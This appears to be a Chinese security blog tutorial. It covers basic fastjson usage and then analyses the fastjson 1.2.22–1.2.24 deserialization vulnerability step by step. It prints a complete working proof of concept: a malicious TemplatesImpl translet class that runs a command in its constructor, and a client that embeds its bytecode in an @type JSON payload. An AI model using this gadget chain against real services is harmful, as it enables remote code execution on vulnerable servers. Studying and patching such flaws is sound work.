fastjson1.22-1.24反序列化

fastjson基础

简介

什么是fastjson

  1. fastjson 是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
  2. FastJson 与 Google 的 Gson 都是解析 Json 的强者,两者不相伯仲
  3. https://github.com/alibaba/fastjson
  4. fastjson 会不定期发布针对 android 版本优化的版本,android优化版本是去掉不必要的代码,减少体积,功能和标准版本基本一样。 已发布的android版本包括:http://repo1.maven.org/maven2/com/alibaba/fastjson/1.1.51.android/

maven配置一下依赖就能开始用

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.49</version>
</dependency>

Map转JSON字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.fastjson.demo1;

import com.alibaba.fastjson.JSON;

import java.util.HashMap;

public class map2json {
public static void main(String[] args) {
HashMap<Object, Object> map1 = new HashMap<>();
map1.put("key1", "value1");
map1.put("key2","value2");
String jsonString = JSON.toJSONString(map1);
System.out.println(jsonString);
}
}

image.png

基本用法

POJO List 转 JSON 字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.fastjson.demo1;

import com.alibaba.fastjson.JSON;
import com.fastjson.basic.Person;

import java.util.ArrayList;

public class pojolist2json {
public static void main(String[] args) {
Person mike = new Person("Mike", 19);
Person nancy = new Person("Nancy", 18);

ArrayList<Person> persons = new ArrayList<>();
persons.add(mike);
persons.add(nancy);

String jsonString = JSON.toJSONString(persons);
System.out.println(jsonString);
}
}

image.png1

Json 字符串转 JsonObject

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.fastjson.demo1;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class json2jsonObj {
public static void main(String[] args) {
String jsonString = "{\"name1\":\"mike\",\"name2\":\"john\",\"key1\":123}";
JSONObject object = JSON.parseObject(jsonString);
System.out.println(object.getString("name1"));
System.out.println(object.getInteger("key1"));
}
}

image.png

Fastjson1.22-1.24反序列化

TEMPLATESIMPL环境&复现

jdk 1.8
fastjson 1.22

先编写一个恶意类Evil,编译为class文件后放在本地,我们需要他的字节码

这个类的构造方法中会Runtime.getRuntime().exec("calc");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.fastjson.exploit;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}


public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}

public static void main(String[] args) throws IOException {
Evil helloworld = new Evil();
}
}

编写(网上找了)一个调用了触发漏洞方法的客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.fastjson.exploit;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class poc1 {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}

String result = Base64.encodeBase64String(bos.toByteArray());

return result;
}

public static void bad_method() {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
String evil_path = "C:\\Users\\AEQAQ\\Desktop\\gc-tool\\fasjJ1\\target\\classes\\com\\fastjson\\exploit\\Evil.class";
String evil_code = readClass(evil_path);

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}

public static void main(String args[]) {
bad_method();
}

}

这个客户端做的事情也很简单:

  1. 读取class文件,并将其base64编码

  2. 创建json字符串 text1,其中@type设置为我们很熟悉的类TemplatesImpl

  3. JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

    这是漏洞触发的核心点

  4. 这里我们转化为对象的字符串,也就是包含了恶意class的字符串为

    1
    2
    3
    4
    5
    6
    7
    {
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["yv66vgAA...(省略一大段base64)"],
    '_name':'a.b',
    '_tfactory':{ },
    "_outputProperties":{ }
    }

image.png

分析

通过最简单的利用TemplatesImpl反序列化来学习fastjson1.22-1.24漏洞

JSON.parseObject处打上断点,下面主要分析这个方法中的流程

不得不说,这个调用还挺长的,所以我写的尽量详细点,对其中的一些方法和算法单独列出来分析,为以后回来看或者分析其他组件提供经验(吧。。)。

Fastjson反序列化的类方法调用关系

在这条利用TemplateImpl的利用链中,主要牵扯的还是靠左边的Deserializer

image.png

JSON.parseObject

image.png

先会对Feature数组进行遍历,并对mask值进行或运算,这里mask是有初值的,并将结果赋值给featureValues

image.png

接着会返回一个DefaultJSONParser对象

1
DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);

image.png

可以看到我们的json字符串和features都被保存在这个parser里

其中lexer字段是一个JSONScanner对象,这里我们分析一下DefaultJSONParser对象的构造方法

DefaultJSONParser构造方法

image.png

可以看到这个构造方法中,根据我们传入的input和features,会先构造一个JSONScanner对象

image.png

这里由于ch是”{“,所以设置token为12

DefaultJSONParser.parseObject(Type type,Object fieldName)

接着调用parseObject方法,继续跟进

先返回token,这里为12,然后进到具体的处理部分

image.png

先返回一个derializer,然后再调用它其中的方法

image.png

JavaObjectDeserializer.deserialze

com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze

因此我们跟进deserialize方法

image.png

由于parser.parseObject(clazz, (Object)null);中传入的是Object类,所以这里跳过了if判断,直接进到return那一句里

image.png

三元运算为false,进到DefaultJSONParser.parse方法中

DefaultJSONParser.parse(java.lang.Object)

image.png

最终会进到case 12里面

image.png

然后调用DefaultJSONParser.parseObject方法

DefaultJSONParser.parseObject(java.util.Map, java.lang.Object)

image.png

因为在DefaultJSONParser的构造方法中已经调用过一次next方法了,所以现在的ch是",34,所以会进到这个判断

scanSymbol则会取出"之间的数据

image.png

取出json对象的第一个key,也就是@type

还记得json中的@type所对应的数据是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,也就是我们要实例化的恶意类的类名。

加载了TemplateImpl类

image.png

然后接着往下走,就进入这个地方

image.png

这里先通过scanSymbol来获取到"间的数据,然后用TypeUtils.loadClass方法来加载这个类

image.png

最后在这个方法中实例化恶意类

image.png

JavaBeanDeserializer.deserialze

根据token为16,会先进到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法中

image.png

image.png

随后进入到com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField中,此处filedType判断为了这个class [[B类型,然后再进入到下面的deserialze方法中

image.png

然后就取出了bytecodes字段image.png

进入这个setValue方法中,可以看到传入的object就是TempaltesImpl对象,然后value即构造的恶意字节码

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

image.png

通过这个方法把_bytecodes加入到TemplatesImpl对象中

image.png

然后他会通过这个parseFiled方法逐个取出parser也就是json中的字段名image.png

直到解析这个字段,也就是_outputProperties

image.png

最后在com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)中反射调用getOutputProperties方法,完成整个调用链调用,因为这里传入的object就是我们构造的恶意TemplatesImpl对象,这条攻击链可以在7d21中找到

image.png